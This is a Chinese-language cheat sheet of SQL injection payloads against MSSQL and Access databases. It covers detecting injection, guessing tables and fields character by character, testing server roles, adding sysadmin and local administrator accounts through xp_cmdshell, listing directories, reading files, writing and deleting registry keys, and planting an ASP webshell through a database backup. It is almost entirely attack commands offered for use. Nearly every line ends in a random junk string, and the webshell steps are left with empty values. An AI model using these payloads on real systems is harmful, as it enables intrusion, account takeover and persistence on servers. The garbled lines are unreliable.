1.判断是否有注入;and 1=1 ;and 1=2 Qp?+_<{
2.初步判断是否是mssql ;and user>0 , XR8qi~
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3.注入参数是字符'and [查询条件] and ''=' PJ.jgN(r
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' f
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5.判断数据库系统 DtN6.9H2`
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;and (select count(*) from sysobjects)>0 mssql zF$wz1
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;and (select count(*) from msysobjects)>0 access >k jJq]A2
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Smux&e
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 bDNd
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Yt'o#"R)
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9.(1)猜字段的ascii值(access) &ivIv[LV
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 =+L>^w#6=
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(2)猜字段的ascii值(mssql) U,S286
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ?C{N0?[P-
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10.测试权限结构(mssql) f$'D2o, O
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- OR9){qP
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,m8*uCf
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Oe!&Jma*>
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !;a<E:
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- iD`XD\.?
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @$R a
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;and 1=(select IS_MEMBER('db_owner'));-- . gJKr
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11.添加mssql和系统的帐户 _JDr?Kg
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;exec master.dbo.sp_addlogin username;-- C=cTj7Ub
;exec master.dbo.sp_password null,username,password;-- ~] 2R+
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9R[','x
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;exec master.dbo.xp_cmdshell 'net user username password y|se^dn
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (ce NVo&
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- xW4+)F5P(
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- dFFqs&c Q
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12.(1)遍历目录 HWBom8u0
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;create table dirs(paths varchar(100), id int) lg+g:o
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Qg!*=<b
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;and (select top 1 paths from dirs)>0 3(&F.&C$$
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) B_2>Yt"
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(2)遍历目录 jYz3(mM'J
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- T7~v40jn|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 AUde_1hi
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 "r"An"
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 &7&*As
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 CF"3<*%x
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13.mssql中的存储过程 2*YXm>|1
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xp_regenumvalues 注册表根键, 子键 jt--w"|-r
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 P;LZ!I
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xp_regread 根键,子键,键值名 sLp
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;exec xp_regread oJT@'{;*z
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 S(h*\we
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xp_regwrite 根键,子键, 值名, 值类型, 值 H>iZVE
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 2z# @:Q
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xp_regdeletevalue 根键,子键,值名 Ki6.'#%7
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >%dAqYi $
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }zxh:"#K
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14.mssql的backup创建webshell 4(GgaQFO?
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use model `Kw8rG\]:
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create table cmd(str image); kQl cT"R
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insert into cmd(str) values (''); %E7.$Gj%
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backup database model to disk='c:\l.asp'; HCkqh4
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15.mssql内置函数 b\m(0/x
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;and (select @@version)>0 获得Windows的版本号 w!w _`7[
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Rbc2g"]
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;and (select user_name())>0 爆当前系统的连接用户 DK_v{R
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;and (select db_name())>0 得到当前连接的数据库 nL07^6(
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16.简洁的webshell R&_\&:4f
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use model )TG0m= *
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create table cmd(str image); ]l7\Zq
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insert into cmd(str) values (''); AaC1||?R
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backup database model to disk='g:\wwwtest\l.asp';